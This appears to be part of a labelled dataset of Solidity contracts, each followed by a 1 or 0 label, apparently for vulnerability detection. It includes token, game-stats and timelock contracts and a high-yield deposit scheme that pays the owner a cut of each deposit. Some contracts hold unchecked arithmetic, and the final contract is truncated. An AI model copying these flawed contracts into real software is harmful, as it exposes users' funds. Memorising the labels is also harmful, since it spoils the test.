pragma solidity ^0.4.23; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address addr) internal { role.bearer[addr] = true; } function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } function check(Role storage role, address addr) view internal { require(has(role, addr)); } function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } } contract RBACWithAdmin is RBAC { string public constant ROLE_ADMIN = "admin"; string public constant ROLE_PAUSE_ADMIN = "pauseAdmin"; modifier onlyAdmin() { checkRole(msg.sender, ROLE_ADMIN); _; } modifier onlyPauseAdmin() { checkRole(msg.sender, ROLE_PAUSE_ADMIN); _; } constructor() public { addRole(msg.sender, ROLE_ADMIN); addRole(msg.sender, ROLE_PAUSE_ADMIN); } function adminAddRole(address addr, string roleName) onlyAdmin public { addRole(addr, roleName); } function adminRemoveRole(address addr, string roleName) onlyAdmin public { removeRole(addr, roleName); } } contract DragonStats is RBACWithAdmin { uint256 constant UINT128_MAX = 340282366920938463463374607431768211455; uint256 constant UINT248_MAX = 452312848583266388373324160190187140051835877600158453279131187530910662655; struct parent { uint128 parentOne; uint128 parentTwo; } struct lastAction { uint8 lastActionID; uint248 lastActionDragonID; } struct dragonStat { uint32 fightWin; uint32 fightLose; uint32 children; uint32 fightToDeathWin; uint32 mutagenFace; uint32 mutagenFight; uint32 genLabFace; uint32 genLabFight; } mapping(uint256 => uint256) public birthBlock; mapping(uint256 => uint256) public deathBlock; mapping(uint256 => parent) public parents; mapping(uint256 => lastAction) public lastActions; mapping(uint256 => dragonStat) public dragonStats; function setBirthBlock(uint256 _dragonID) external onlyRole("MainContract") { require(birthBlock[_dragonID] == 0); birthBlock[_dragonID] = block.number; } function setDeathBlock(uint256 _dragonID) external onlyRole("MainContract") { require(deathBlock[_dragonID] == 0); deathBlock[_dragonID] = block.number; } function setParents(uint256 _dragonID, uint256 _parentOne, uint256 _parentTwo) external onlyRole("MainContract") { require(birthBlock[_dragonID] == 0); if (_parentOne <= UINT128_MAX) { parents[_dragonID].parentOne = uint128(_parentOne); } if (_parentTwo <= UINT128_MAX) { parents[_dragonID].parentTwo = uint128(_parentTwo); } } function setLastAction(uint256 _dragonID, uint256 _lastActionDragonID, uint8 _lastActionID) external onlyRole("ActionContract") { lastActions[_dragonID].lastActionID = _lastActionID; if (_lastActionDragonID > UINT248_MAX) { lastActions[_dragonID].lastActionDragonID = 0; } else { lastActions[_dragonID].lastActionDragonID = uint248(_lastActionDragonID); } } function incFightWin(uint256 _dragonID) external onlyRole("FightContract") { dragonStats[_dragonID].fightWin++; } function incFightLose(uint256 _dragonID) external onlyRole("FightContract") { dragonStats[_dragonID].fightLose++; } function incFightToDeathWin(uint256 _dragonID) external onlyRole("DeathContract") { dragonStats[_dragonID].fightToDeathWin++; } function incChildren(uint256 _dragonID) external onlyRole("MainContract") { dragonStats[_dragonID].children++; } function addMutagenFace(uint256 _dragonID, uint256 _mutagenCount) external onlyRole("MutagenFaceContract") { dragonStats[_dragonID].mutagenFace = dragonStats[_dragonID].mutagenFace + uint32(_mutagenCount); } function addMutagenFight(uint256 _dragonID, uint256 _mutagenCount) external onlyRole("MutagenFightContract") { dragonStats[_dragonID].mutagenFight = dragonStats[_dragonID].mutagenFight + uint32(_mutagenCount); } function incGenLabFace(uint256 _dragonID) external onlyRole("GenLabContract") { dragonStats[_dragonID].genLabFace++; } function incGenLabFight(uint256 _dragonID) external onlyRole("GenLabContract") { dragonStats[_dragonID].genLabFight++; } function getDragonFight(uint256 _dragonID) external view returns (uint256){ return (dragonStats[_dragonID].fightWin + dragonStats[_dragonID].fightLose + dragonStats[_dragonID].fightToDeathWin); } }
1
pragma solidity >=0.4.10; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } } contract Owned { address public owner; address newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { owner = newOwner; } } } contract Pausable is Owned { bool public paused; function pause() onlyOwner { paused = true; } function unpause() onlyOwner { paused = false; } modifier notPaused() { require(!paused); _; } } contract Finalizable is Owned { bool public finalized; function finalize() onlyOwner { finalized = true; } modifier notFinalized() { require(!finalized); _; } } contract IToken { function transfer(address _to, uint _value) returns (bool); function balanceOf(address owner) returns(uint); } contract TokenReceivable is Owned { function claimTokens(address _token, address _to) onlyOwner returns (bool) { IToken token = IToken(_token); return token.transfer(_to, token.balanceOf(this)); } } contract EventDefinitions { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable { string constant public name = "Peg Test Token"; uint8 constant public decimals = 8; string constant public symbol = "PTT"; Controller public controller; string public motd; event Motd(string message); function setMotd(string _m) onlyOwner { motd = _m; Motd(_m); } function setController(address _c) onlyOwner notFinalized { controller = Controller(_c); } function balanceOf(address a) constant returns (uint) { return controller.balanceOf(a); } function totalSupply() constant returns (uint) { return controller.totalSupply(); } function allowance(address _owner, address _spender) constant returns (uint) { return controller.allowance(_owner, _spender); } function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.transfer(msg.sender, _to, _value)) { Transfer(msg.sender, _to, _value); return true; } return false; } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) { if (controller.transferFrom(msg.sender, _from, _to, _value)) { Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.approve(msg.sender, _spender, _value)) { Approval(msg.sender, _spender, _value); return true; } return false; } function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.increaseApproval(msg.sender, _spender, _addedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } modifier onlyPayloadSize(uint numwords) { assert(msg.data.length >= numwords * 32 + 4); _; } function burn(uint _amount) notPaused { controller.burn(msg.sender, _amount); Transfer(msg.sender, 0x0, _amount); } modifier onlyController() { assert(msg.sender == address(controller)); _; } function controllerTransfer(address _from, address _to, uint _value) onlyController { Transfer(_from, _to, _value); } function controllerApprove(address _owner, address _spender, uint _value) onlyController { Approval(_owner, _spender, _value); } } contract Controller is Owned, Finalizable { Ledger public ledger; Token public token; function Controller() { } function setToken(address _token) onlyOwner { token = Token(_token); } function setLedger(address _ledger) onlyOwner { ledger = Ledger(_ledger); } modifier onlyToken() { require(msg.sender == address(token)); _; } modifier onlyLedger() { require(msg.sender == address(ledger)); _; } function totalSupply() constant returns (uint) { return ledger.totalSupply(); } function balanceOf(address _a) constant returns (uint) { return ledger.balanceOf(_a); } function allowance(address _owner, address _spender) constant returns (uint) { return ledger.allowance(_owner, _spender); } function ledgerTransfer(address from, address to, uint val) onlyLedger { token.controllerTransfer(from, to, val); } function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transfer(_from, _to, _value); } function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transferFrom(_spender, _from, _to, _value); } function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) { return ledger.approve(_owner, _spender, _value); } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) { return ledger.increaseApproval(_owner, _spender, _addedValue); } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) { return ledger.decreaseApproval(_owner, _spender, _subtractedValue); } function burn(address _owner, uint _amount) onlyToken { ledger.burn(_owner, _amount); } } contract Ledger is Owned, SafeMath, Finalizable, TokenReceivable { Controller public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; function Ledger() { } function setController(address _controller) onlyOwner notFinalized { controller = Controller(_controller); } function stopMinting() onlyOwner { mintingStopped = true; } function multiMint(uint nonce, uint256[] bits) external onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } modifier onlyController() { require(msg.sender == address(controller)); _; } function transfer(address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; var allowed = allowance[_from][_spender]; if (allowed < _value) return false; balanceOf[_to] = safeAdd(balanceOf[_to], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); allowance[_from][_spender] = safeSub(allowed, _value); return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; } else { allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } function burn(address _owner, uint _amount) onlyController { balanceOf[_owner] = safeSub(balanceOf[_owner], _amount); totalSupply = safeSub(totalSupply, _amount); } }
1
pragma solidity ^0.4.18; contract DelegateERC20 { function delegateTotalSupply() public view returns (uint256); function delegateBalanceOf(address who) public view returns (uint256); function delegateTransfer(address to, uint256 value, address origSender) public returns (bool); function delegateAllowance(address owner, address spender) public view returns (uint256); function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool); function delegateApprove(address spender, uint256 value, address origSender) public returns (bool); function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool); function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract AddressList is Claimable { string public name; mapping (address => bool) public onList; function AddressList(string _name, bool nullValue) public { name = _name; onList[0x0] = nullValue; } event ChangeWhiteList(address indexed to, bool onList); function changeList(address _to, bool _onList) onlyOwner public { require(_to != 0x0); if (onList[_to] != _onList) { onList[_to] = _onList; ChangeWhiteList(_to, _onList); } } } contract HasNoContracts is Ownable { function reclaimContract(address contractAddr) external onlyOwner { Ownable contractInst = Ownable(contractAddr); contractInst.transferOwnership(owner); } } contract HasNoEther is Ownable { function HasNoEther() public payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } contract HasNoTokens is CanReclaimToken { function tokenFallback(address from_, uint256 value_, bytes data_) external { from_; value_; data_; revert(); } } contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts { } contract AllowanceSheet is Claimable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public allowanceOf; function addAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].add(value); } function subAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].sub(value); } function setAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = value; } } contract BalanceSheet is Claimable { using SafeMath for uint256; mapping (address => uint256) public balanceOf; function addBalance(address addr, uint256 value) public onlyOwner { balanceOf[addr] = balanceOf[addr].add(value); } function subBalance(address addr, uint256 value) public onlyOwner { balanceOf[addr] = balanceOf[addr].sub(value); } function setBalance(address addr, uint256 value) public onlyOwner { balanceOf[addr] = value; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic, Claimable { using SafeMath for uint256; BalanceSheet public balances; uint256 totalSupply_; function setBalanceSheet(address sheet) external onlyOwner { balances = BalanceSheet(sheet); balances.claimOwnership(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { transferAllArgsNoAllowance(msg.sender, _to, _value); return true; } function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal { require(_to != address(0)); require(_from != address(0)); require(_value <= balances.balanceOf(_from)); balances.subBalance(_from, _value); balances.addBalance(_to, _value); Transfer(_from, _to, _value); } function balanceOf(address _owner) public view returns (uint256 balance) { return balances.balanceOf(_owner); } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances.balanceOf(msg.sender)); address burner = msg.sender; balances.subBalance(burner, _value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract StandardToken is ERC20, BasicToken { AllowanceSheet public allowances; function setAllowanceSheet(address sheet) external onlyOwner { allowances = AllowanceSheet(sheet); allowances.claimOwnership(); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { transferAllArgsYesAllowance(_from, _to, _value, msg.sender); return true; } function transferAllArgsYesAllowance(address _from, address _to, uint256 _value, address spender) internal { require(_value <= allowances.allowanceOf(_from, spender)); allowances.subAllowance(_from, spender, _value); transferAllArgsNoAllowance(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { approveAllArgs(_spender, _value, msg.sender); return true; } function approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal { allowances.setAllowance(_tokenHolder, _spender, _value); Approval(_tokenHolder, _spender, _value); } function allowance(address _owner, address _spender) public view returns (uint256) { return allowances.allowanceOf(_owner, _spender); } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { increaseApprovalAllArgs(_spender, _addedValue, msg.sender); return true; } function increaseApprovalAllArgs(address _spender, uint _addedValue, address tokenHolder) internal { allowances.addAllowance(tokenHolder, _spender, _addedValue); Approval(tokenHolder, _spender, allowances.allowanceOf(tokenHolder, _spender)); } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { decreaseApprovalAllArgs(_spender, _subtractedValue, msg.sender); return true; } function decreaseApprovalAllArgs(address _spender, uint _subtractedValue, address tokenHolder) internal { uint oldValue = allowances.allowanceOf(tokenHolder, _spender); if (_subtractedValue > oldValue) { allowances.setAllowance(tokenHolder, _spender, 0); } else { allowances.subAllowance(tokenHolder, _spender, _subtractedValue); } Approval(tokenHolder, _spender, allowances.allowanceOf(tokenHolder, _spender)); } } contract CanDelegate is StandardToken { DelegateERC20 public delegate; event DelegatedTo(address indexed newContract); function delegateToNewContract(DelegateERC20 newContract) public onlyOwner { delegate = newContract; DelegatedTo(delegate); } function transfer(address to, uint256 value) public returns (bool) { if (delegate == address(0)) { return super.transfer(to, value); } else { return delegate.delegateTransfer(to, value, msg.sender); } } function transferFrom(address from, address to, uint256 value) public returns (bool) { if (delegate == address(0)) { return super.transferFrom(from, to, value); } else { return delegate.delegateTransferFrom(from, to, value, msg.sender); } } function balanceOf(address who) public view returns (uint256) { if (delegate == address(0)) { return super.balanceOf(who); } else { return delegate.delegateBalanceOf(who); } } function approve(address spender, uint256 value) public returns (bool) { if (delegate == address(0)) { return super.approve(spender, value); } else { return delegate.delegateApprove(spender, value, msg.sender); } } function allowance(address _owner, address spender) public view returns (uint256) { if (delegate == address(0)) { return super.allowance(_owner, spender); } else { return delegate.delegateAllowance(_owner, spender); } } function totalSupply() public view returns (uint256) { if (delegate == address(0)) { return super.totalSupply(); } else { return delegate.delegateTotalSupply(); } } function increaseApproval(address spender, uint addedValue) public returns (bool) { if (delegate == address(0)) { return super.increaseApproval(spender, addedValue); } else { return delegate.delegateIncreaseApproval(spender, addedValue, msg.sender); } } function decreaseApproval(address spender, uint subtractedValue) public returns (bool) { if (delegate == address(0)) { return super.decreaseApproval(spender, subtractedValue); } else { return delegate.delegateDecreaseApproval(spender, subtractedValue, msg.sender); } } } contract StandardDelegate is StandardToken, DelegateERC20 { address public delegatedFrom; modifier onlySender(address source) { require(msg.sender == source); _; } function setDelegatedFrom(address addr) onlyOwner public { delegatedFrom = addr; } function delegateTotalSupply() public view returns (uint256) { return totalSupply(); } function delegateBalanceOf(address who) public view returns (uint256) { return balanceOf(who); } function delegateTransfer(address to, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) { transferAllArgsNoAllowance(origSender, to, value); return true; } function delegateAllowance(address owner, address spender) public view returns (uint256) { return allowance(owner, spender); } function delegateTransferFrom(address from, address to, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) { transferAllArgsYesAllowance(from, to, value, origSender); return true; } function delegateApprove(address spender, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) { approveAllArgs(spender, value, origSender); return true; } function delegateIncreaseApproval(address spender, uint addedValue, address origSender) onlySender(delegatedFrom) public returns (bool) { increaseApprovalAllArgs(spender, addedValue, origSender); return true; } function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) onlySender(delegatedFrom) public returns (bool) { decreaseApprovalAllArgs(spender, subtractedValue, origSender); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract TrueUSD is StandardDelegate, PausableToken, BurnableToken, NoOwner, CanDelegate { string public name = "TrueUSD"; string public symbol = "TUSD"; uint8 public constant decimals = 18; AddressList public canReceiveMintWhiteList; AddressList public canBurnWhiteList; AddressList public blackList; AddressList public noFeesList; uint256 public burnMin = 10000 * 10**uint256(decimals); uint256 public burnMax = 20000000 * 10**uint256(decimals); uint80 public transferFeeNumerator = 7; uint80 public transferFeeDenominator = 10000; uint80 public mintFeeNumerator = 0; uint80 public mintFeeDenominator = 10000; uint256 public mintFeeFlat = 0; uint80 public burnFeeNumerator = 0; uint80 public burnFeeDenominator = 10000; uint256 public burnFeeFlat = 0; address public staker; event ChangeBurnBoundsEvent(uint256 newMin, uint256 newMax); event Mint(address indexed to, uint256 amount); event WipedAccount(address indexed account, uint256 balance); function TrueUSD() public { totalSupply_ = 0; staker = msg.sender; } function setLists(AddressList _canReceiveMintWhiteList, AddressList _canBurnWhiteList, AddressList _blackList, AddressList _noFeesList) onlyOwner public { canReceiveMintWhiteList = _canReceiveMintWhiteList; canBurnWhiteList = _canBurnWhiteList; blackList = _blackList; noFeesList = _noFeesList; } function changeName(string _name, string _symbol) onlyOwner public { name = _name; symbol = _symbol; } function burn(uint256 _value) public { require(canBurnWhiteList.onList(msg.sender)); require(_value >= burnMin); require(_value <= burnMax); uint256 fee = payStakingFee(msg.sender, _value, burnFeeNumerator, burnFeeDenominator, burnFeeFlat, 0x0); uint256 remaining = _value.sub(fee); super.burn(remaining); } function mint(address _to, uint256 _amount) onlyOwner public { require(canReceiveMintWhiteList.onList(_to)); totalSupply_ = totalSupply_.add(_amount); balances.addBalance(_to, _amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); payStakingFee(_to, _amount, mintFeeNumerator, mintFeeDenominator, mintFeeFlat, 0x0); } function changeBurnBounds(uint newMin, uint newMax) onlyOwner public { require(newMin <= newMax); burnMin = newMin; burnMax = newMax; ChangeBurnBoundsEvent(newMin, newMax); } function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal { require(!blackList.onList(_from)); require(!blackList.onList(_to)); super.transferAllArgsNoAllowance(_from, _to, _value); payStakingFee(_to, _value, transferFeeNumerator, transferFeeDenominator, 0, _from); } function wipeBlacklistedAccount(address account) public onlyOwner { require(blackList.onList(account)); uint256 oldValue = balanceOf(account); balances.setBalance(account, 0); totalSupply_ = totalSupply_.sub(oldValue); WipedAccount(account, oldValue); } function payStakingFee(address payer, uint256 value, uint80 numerator, uint80 denominator, uint256 flatRate, address otherParticipant) private returns (uint256) { if (noFeesList.onList(payer) || noFeesList.onList(otherParticipant)) { return 0; } uint256 stakingFee = value.mul(numerator).div(denominator).add(flatRate); if (stakingFee > 0) { super.transferAllArgsNoAllowance(payer, staker, stakingFee); } return stakingFee; } function changeStakingFees(uint80 _transferFeeNumerator, uint80 _transferFeeDenominator, uint80 _mintFeeNumerator, uint80 _mintFeeDenominator, uint256 _mintFeeFlat, uint80 _burnFeeNumerator, uint80 _burnFeeDenominator, uint256 _burnFeeFlat) public onlyOwner { require(_transferFeeDenominator != 0); require(_mintFeeDenominator != 0); require(_burnFeeDenominator != 0); transferFeeNumerator = _transferFeeNumerator; transferFeeDenominator = _transferFeeDenominator; mintFeeNumerator = _mintFeeNumerator; mintFeeDenominator = _mintFeeDenominator; mintFeeFlat = _mintFeeFlat; burnFeeNumerator = _burnFeeNumerator; burnFeeDenominator = _burnFeeDenominator; burnFeeFlat = _burnFeeFlat; } function changeStaker(address newStaker) public onlyOwner { require(newStaker != address(0)); staker = newStaker; } } library NewSafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract TUSD_Gexly_Cash { using NewSafeMath for uint; address owner; TrueUSD public token = TrueUSD(0x8dd5fbce2f6a956c3022ba3663759011dd51e73e); uint private decimals = 18; mapping (address => uint) deposit; mapping (address => uint) withdrawn; mapping (address => uint) lastTimeWithdraw; function TUSD_Gexly_Cash() public { owner = msg.sender; } function transferOwnership(address _newOwner) external { require(msg.sender == owner); require(_newOwner != address(0)); owner = _newOwner; } function getInfo(address _address) public view returns(uint Deposit, uint Withdrawn, uint AmountToWithdraw) { Deposit = deposit[_address].div(10**decimals); Withdrawn = withdrawn[_address].div(10**decimals); AmountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[_address]).sub((block.timestamp.sub(lastTimeWithdraw[_address])).mod(1 days))).mul(deposit[_address].div(30)).div(10**decimals).div(1 days); } function() external payable { msg.sender.transfer(msg.value); uint _approvedTokens = token.allowance(msg.sender, address(this)); if (_approvedTokens == 0 && deposit[msg.sender] > 0) { withdraw(); return; } else { invest(); return; } } function invest() public { uint _value = token.allowance(msg.sender, address(this)); token.transferFrom(msg.sender, address(this), _value); token.transfer(owner, _value.div(13)); if (deposit[msg.sender] > 0) { uint amountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender]).sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days))).mul(deposit[msg.sender].div(30)).div(1 days); if (amountToWithdraw != 0) { withdrawn[msg.sender] = withdrawn[msg.sender].add(amountToWithdraw); token.transfer(msg.sender, amountToWithdraw); } lastTimeWithdraw[msg.sender] = block.timestamp; deposit[msg.sender] = deposit[msg.sender].add(_value); return; } lastTimeWithdraw[msg.sender] = block.timestamp; deposit[msg.sender] = (_value); } function withdraw() public { uint amountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender]).sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days))).mul(deposit[msg.sender].div(30)).div(1 days); if (amountToWithdraw == 0) { revert(); } withdrawn[msg.sender] = withdrawn[msg.sender].add(amountToWithdraw); lastTimeWithdraw[msg.sender] = block.timestamp.sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days)); token.transfer(msg.sender, amountToWithdraw); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28166400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7B5ACF79C55AEb5C47787de436B812571F3FAAbe; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public 